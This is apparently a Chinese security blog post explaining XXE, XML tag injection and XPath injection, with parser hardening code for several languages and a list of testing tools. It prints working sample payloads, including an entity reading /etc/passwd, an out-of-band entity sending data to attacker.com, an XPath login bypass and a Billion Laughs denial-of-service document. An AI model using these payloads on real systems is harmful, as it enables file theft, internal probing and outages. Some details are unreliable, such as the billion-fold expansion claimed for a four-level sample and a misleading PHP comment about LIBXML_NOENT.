5月28日 03:50

XXE 攻击原理与防护:从 XML 注入到实战防御

XML 解析器天生就会处理 DTD 中的外部实体引用——这个设计初衷是为了方便模块化文档管理,却被攻击者利用来读取服务器文件、发起内网请求,甚至执行代码。这就是 XXE(XML External Entity)攻击的核心原理。

2025 年 6 月,Apache Tika 爆出 CVE-2025-66516(CVSS 8.4),攻击者通过上传恶意 PDF 文件触发 XXE,读取服务器敏感文件——这说明 XXE 不是历史遗留问题,至今仍有新的攻击面被挖掘出来。

XXE 攻击是怎么发生的

XML 规范允许在 DTD(文档类型定义)中声明实体,其中 SYSTEM 类型的实体会让解析器去访问指定的 URI:

xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>

解析器在处理 &xxe; 时,会读取 /etc/passwd 的内容并替换进去。如果应用把解析结果返回给用户,敏感文件内容就泄露了。

哪怕应用不回显解析结果,攻击者依然可以通过外带(OOB)方式获取数据:

xml
<!DOCTYPE data [ <!ENTITY xxe SYSTEM "http://attacker.com/collect?data=SECRET"> ]>

或者利用盲 XXE 通过响应时间差异来推断信息。

哪些场景容易中招

不是只有"接收 XML 参数的 API"才需要担心。以下场景都可能成为 XXE 的入口:

  • SOAP Web Service:SOAP 消息本身就是 XML,如果后端没有安全配置解析器,直接沦陷
  • 文件上传功能:SVG 图片、DOCX/PPTX 文档、XLSX 表格底层都是 XML 格式,上传恶意文件就可能触发 XXE
  • SSO/SAML:SAML 断言是 XML 格式,身份认证流程中的 XXE 可能导致认证绕过
  • RSS/Atom 订阅:聚合外部 RSS 源时,恶意 RSS 中的 XML 实体可能被解析

三种 XML 注入攻击类型

XXE(XML 外部实体注入)

最常见、危害最大。上面已经展示了攻击方式。核心危害包括:

  • 读取服务器任意文件(file:// 协议)
  • 发起 SSRF 攻击(http:// 协议探测内网)
  • 拒绝服务(Billion Laughs 攻击,通过实体嵌套指数级膨胀 XML 体积)
  • 在特定环境下远程代码执行(如 PHP expect 协议)

XML 标签注入

攻击者通过注入 XML 标签修改文档结构,篡改业务逻辑:

xml
<!-- 正常请求 --> <user><name>John</name></user> <!-- 注入后:给自己加了个 admin 角色 --> <user><name>John</name><role>admin</role></user>

这类攻击的关键是应用直接把用户输入拼接到 XML 文档中,没有做转义或结构校验。

XPath 注入

类似 SQL 注入的思路,针对 XPath 查询:

xml
// 正常查询 //user[username='john' and password='secret'] // 注入后:绕过密码验证 //user[username='john' or '1'='1' and password='anything']

防护方案

1. 禁用 DTD 和外部实体(最关键)

这是防护 XXE 的根本措施。不同语言的配置方式不同:

Java:

java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);

disallow-doctype-decl 设为 true 会直接拒绝包含 DTD 的 XML,这是最严格的防护。如果业务必须使用 DTD,至少要禁用外部实体(后面三个 false)。

Python(lxml):

python
from lxml import etree parser = etree.XMLParser(resolve_entities=False, load_dtd=False, no_network=True) tree = etree.parse("data.xml", parser=parser)

no_network=True 阻止解析器发起网络请求,切断 SSRF 攻击面。

PHP(8.0+):

php
// PHP 8.0 起 libxml_disable_entity_loader() 已废弃 // 正确做法:使用 LIBXML_NOENT 标志配合内部实体处理 $dom = new DOMDocument(); $dom->loadXML($xmlString, LIBXML_NONET);

LIBXML_NONET 禁止网络访问,替代了已废弃的 libxml_disable_entity_loader()

.NET:

csharp
XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; // 禁止 DTD settings.XmlResolver = null; // 禁止解析外部实体 XmlReader reader = XmlReader.Create(stream, settings);

2. 输入验证

在解析之前,先检查 XML 中是否包含危险结构:

java
public boolean isSafeXML(String xml) { String upper = xml.toUpperCase(); return !upper.contains("<!DOCTYPE") && !upper.contains("<!ENTITY"); }

注意:输入验证是辅助手段,不能替代解析器安全配置。攻击者可能通过编码、注释等方式绕过字符串检测。

3. 使用 JSON 替代 XML

如果业务允许,直接用 JSON 代替 XML 作为数据交换格式。JSON 不支持实体和 DTD,从根本上消除了 XXE 风险。对于 REST API 来说,这通常是最简单的解决方案。

4. XPath 注入防护:参数化查询

和 SQL 注入用参数化查询一样,XPath 也支持变量绑定:

java
XPathFactory factory = XPathFactory.newInstance(); XPath xpath = factory.newXPath(); xpath.setXPathVariableResolver(varName -> { switch (varName) { case "username": return username; case "password": return password; default: return null; } }); XPathExpression expr = xpath.compile("//user[username=$username and password=$password]");

5. XML Schema 验证

用 XSD 约束 XML 文档的结构,拒绝不符合预期的输入:

java
SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = sf.newSchema(new File("schema.xsd")); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setSchema(schema); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Schema 验证既防标签注入,也限制了 XML 的结构和内容。

6. 最小权限运行

即使 XXE 攻击成功,如果应用进程没有读取敏感文件的权限,攻击者也只能拿到低权限数据。容器化部署、只读文件系统、网络策略限制外联,都是纵深防御的一环。

Billion Laughs 攻击:一种特殊的拒绝服务

这种攻击利用实体嵌套让 XML 体积指数级膨胀:

xml
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]> <root>&lol4;</root>

&lol4; 展开后约 10 亿个 lol,轻松耗尽内存。防护方式同样是禁用 DTD——上面提到的解析器配置已经覆盖了这个场景。

检测和排查

  • Burp Suite:拦截请求,手动注入 XXE payload 测试
  • OWASP ZAP:自动化扫描 XXE 漏洞
  • SonarQube:静态代码分析,检测不安全的 XML 解析配置
  • XXEinjector:专门针对 XXE 的自动化检测工具,支持 OOB 和 Blind XXE

在 CI/CD 流程中集成 SAST 工具扫描 XML 解析相关代码,可以在部署前就发现风险配置。

标签:XML